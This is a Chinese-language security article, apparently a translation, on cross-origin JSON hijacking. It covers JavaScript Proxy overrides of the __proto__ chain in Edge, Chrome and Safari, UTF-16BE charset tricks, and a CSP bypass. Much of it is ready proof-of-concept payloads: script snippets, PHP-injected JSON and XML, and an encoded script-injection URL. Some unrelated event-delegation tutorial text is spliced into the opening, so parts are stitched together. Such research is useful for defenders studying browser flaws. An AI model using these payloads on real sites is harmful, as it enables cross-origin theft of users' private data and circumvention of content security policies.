导语:进行跨域数据窃取是JSON劫持漏洞的基本方法,一般替换的恶意代码都是进行JSON劫持的代码,将获取到的JSON数据发送给第三方网站服务器上。

进行跨域数据窃取是JSON劫持漏洞的基本方法,一般替换的恶意代码都是进行JSON劫持的代码,将获取到的JSON数据发送给第三方网站服务器上。之所以可以利用这点进行劫持,是因为JSON数组本身就是特殊的Array,网站一旦返回的JSON数组,恶意攻击者就通过重写Array()的构造函数将数据转发他们的服务上,这就是JSON数据劫持。

如果你想给网页添加点JavaScript的交互性,也许你已经听过JavaScript的事件代理(event delegation),事实上,如果你已经知道怎么添加JavaScript的事件处理器(event handler),实现事件代理也是件轻而易举的事情。 

JavaScript事件是所有网页互动性的根基(我指的是真正的互动性,而不仅是那些CSS下拉菜单)。在传统的事件处理中,你按照需要为每一个元素添加或者是删除事件处理器。然而,事件处理器将有可能导致内存泄露或者是性能下降——你用得越多这种风险就越大。

劫持 Edge中JSON漏洞

我们利用JS – 事件代理 窃取未定义的 JavaScript 变量。虽然 Edge阻止了分配 window.__proto__ 的行为,但我们还是可以利用 Object.setPrototypeOf 这个方法。通过这种方式我们可以使用代理过的 __proto__ 来覆盖 __proto__ 属性。就像这样:

<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->

那么__proto__是什么?

1.简单来说,在 javascript 中每个对象都会有一个 __proto__ 属性,当我们访问一个对象的属性时,如果这个对象内部不存在这个属性,那么他就会去 __proto__ 里找这个属性,这个 __proto__ 又会有自己的 __proto__,于是就这样一直找下去,也就是我们平时所说的原型链的概念。

2.按照标准,__proto__ 是不对外公开的,但是有些浏览器的引擎却它他暴露出来成为了一个公有属性,我们可以对其进行访问和赋值。

在javascript中有三类对象:

1. 用户创建的对象,一般意义上使用new语句显式构造的方法。
2. 构造函数的对象,普通的构造函数,即通过new调用生成普通对象的函数
3. 原型对象,构造函数prototype属性指向的对象。

这三个对象中每一个类都有一个属性-__proto__属性,它们指向该对象的原型,从任何对象沿用它开始遍历都可以追溯到Object.prototype。

构造函数都有prototype对象,它指向一个原型对象,通过该构造函数创建对象的时候,被创建的对象的__proto__属性将指向构造函数的prototype属性。

原型对象有一个constructor属性,该属性指向它对应的构造函数。这时你会在上面的最后一行代码中发现 stealme,这表示在浏览器中出现了一个未定义的变量。

经过进一步的测试,可以发现通过 object EventTargetPrototype方法来覆盖__proto __.__ proto__也可以实现相同的效果。

<script>
__proto__.__proto__=new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
});
</script>
<script src="external-script-with-undefined-variable"></script>

这意味着,我们此时可以进行跨域窃取数据了,目前所有主流浏览器都用到 charset 属性。在这里我们会用到一种字符编码UTF-16BE,UTF-16BE (big endian),俗称大头 。比如说char 'a', ascii为 0x61, 那么它的utf-8, 则为 [0x61], 但utf-16是16位的, 所以为[0x00, 0x61]

这恰好是一个有效的 JavaScript 变量。

假设我们有一个来自网络服务器的响应,返回一个文本型数组,我们便可以控制这个数组的一部分。我们可以使用 UTF-16BE 重新定义JavaScript 变量。唯一要注意的是,组成的字符必须形成一个有效的 JavaScript 变量。

比如下面这个响应:

["supersecret","input here"]

怎样才能得到这个 supersecret,我们需要插入一个后面带着两个 a's的空字符,这时,Edge 不会将这个字符视为 UTF-16BE。

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

使用 UTF-16BE 编码会出现“分段截断(null)”的警告,因为使用这种劫持方法是相当受限的,仅能获取少量的数据,因为许多字符组合不会产生有效的 JavaScript 变量。

劫持 Chrome 中JSON漏洞

由于Chrome 更加开放,有更多的字符编码,所以JSON劫持漏洞的情况就更严重了,你不需要控制任何响应,就可以对Chrome进行字符编码了。唯一的要求就是组合在一起的字符要是一个有效的 JavaScript 变量。为了找到这个变量,我们需要借助另一个未定义的变量泄漏。从表面上看, Chrome 似乎阻止了覆盖 __proto__ 的行为,但仔细看里面却大有蹊跷。

<script> 
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->

注意: 这一漏洞已经在 Chrome 54 的版本中修复

深入到 __proto__ 原型链深的第5 层,并用我们的事件代理覆盖它,接下来有意思的情况发生了。尽管命名参数不包含我们未定义的变量,但是由于函数的调用,我们得到了一个带有我们变量名的函数!显然它用 UTF-16BE 编码了:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊

怎么会这样?这时我们必须调用函数的 toString来访问数据,否则 Chrome 显示访问异常(最初,浏览器的开发商、开发团体出于安全性的考虑,默认情况下是不允许在分属于不同域的页面之间进行数据交换和方法调用的,当遇到这种情况时浏览器就会返回“拒绝访问(Access Denied)”的错误)。现在让我们试着构造函数,以查看是否返回了不同的域(也许是 Chrome 扩展程序的上下文),从而进一步利用漏洞。当 adblock 被启用时,我看到了一些使用这种方法的扩展程序代码,但却无法利用这些代码,因为它们似乎只是将代码注入到当前的document。

在此次编码中,我们也发现了能够包含 xml 或者 html 跨域数据以及响应内容类型 “text/html”,而这些都是相当严重的漏洞。

劫持 Safari中JSON漏洞

同样,我们也很轻松地在最新版的 Safari 中实现。和chrome相比,我们要少用一个 proto且直接使用 “name”无需调用。 

<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>

经过进一步测试, Safari 和 Edge的操作原理是一样的

如何在没有JS 代理的情况黑掉JSON 漏洞

每个主流浏览器都支持 UTF-16BE 字符编码,可如何在没有 JS 代理的情况下黑掉 JSON漏洞呢?首先,你需要控制一些数据,而且必须用生成有效 JavaScript 变量的方式来构造漏洞。在注入数据之前,获取 JSON 漏洞的第一部分非常简单,你所需要做的就是注入一个 UTF-16BE 编码字符串,该字符串将非 ASCII 变量分批赋予特定的值并逐一进行检查,这样注入之前的所有 JSON代码都变为:

=1337;for(i in window)if(window[i]===1337)alert(i)

这段代码被编码为 UTF-16BE 字符串,所以我们实际上得到的是代码而不是非 ASCII 变量。也就是说,用 NULL 填充了每个字符。要获得注入字符串后的字符,仅需使用增量运算符,并在弹出“显示属性”窗口后对字符串编码

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a

当检查 isNaN 时 window.external 显示异常。整个 JSON漏洞如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

绕过 CSP

内容安全策略(CSP)是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少它们的应用程序执行的特权”

你可能已经注意到,经UTF-16BE 转换后的字符串也会变为ASCII 变量,这使绕过 CSP成为可能!此时HTML 文档将被视为 JavaScript 变量。而我们要做的就是注入一个带有 UTF-16BE 字符的脚本,使其具有编码赋值和payload的脚本注释,但该方法只允许引用同一域下的脚本。

HTML 文档内容:

<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>

注意在 doctype 之后没有出现新行,HTML 就是以这样一种方式构造的,所以可以确定这是有效的 JavaScript。

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

请注意:这在更高版本的 PHP 中已经被修复

其他形式的字符编码

经过好几个晚上的fuzz测试,我可以确定对 Edge 没什么用,主要是由于前面提到过的字符集嗅探,如果你在文档中没有使用确定的字符,Edge就不会使用字符编码。而Chrome 就不一样了,因为我发现 ucs-2 编码允许你导入 XML 数据来作为一个 JS 变量,但其可用性比 UTF-16BE 差远了。我仍然要获得了以下的 XML,才能在 Chrome 上进行导入。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

目前以上内容在 Chrome 中已经不再有效

UTF-16 和 UTF-16LE 看起来也很有用,因为脚本输出看起来像是一个 JavaScript 变量,但是当脚本中含有 doctype,XML 或 JSON 字符串时,UTF-16 和 UTF-16LE便会引起了一些无效的语法错误。Safari 则不会用UTF-16 和 UTF-16LE生成JavaScript。

CSS

你可能认为以上这些技术也适用于 CSS,这在在理论上是可以的,因为任何 HTML 将被转换为非 ASCII 的无效 CSS 选择器。但实际上,浏览器会在编码解析 成CSS 之前,会查看XHTML页面的头部doctype。Edge,Firefox 和 IE 在标准模式下似乎也会检查 mime 类型。

解决方案

在JSON处理之前,先遍历数据,统一将编码转为UTF-8。5.6后版本的PHP,JSON处理数据时,遇到非UTF-8特殊字符,会直接返回false,之前则是会将特殊字符转化为NULL。

总结

Edge,Safari 和 Chrome 中的漏洞能让你跨域读取javascript中未声明的变量。另外你可以使用不同的编码绕过 CSP窃取脚本数据。即使没有代理,如果可以控制一些 JSON 响应的话,你也可以窃取数据。

源链接

Hacking more

...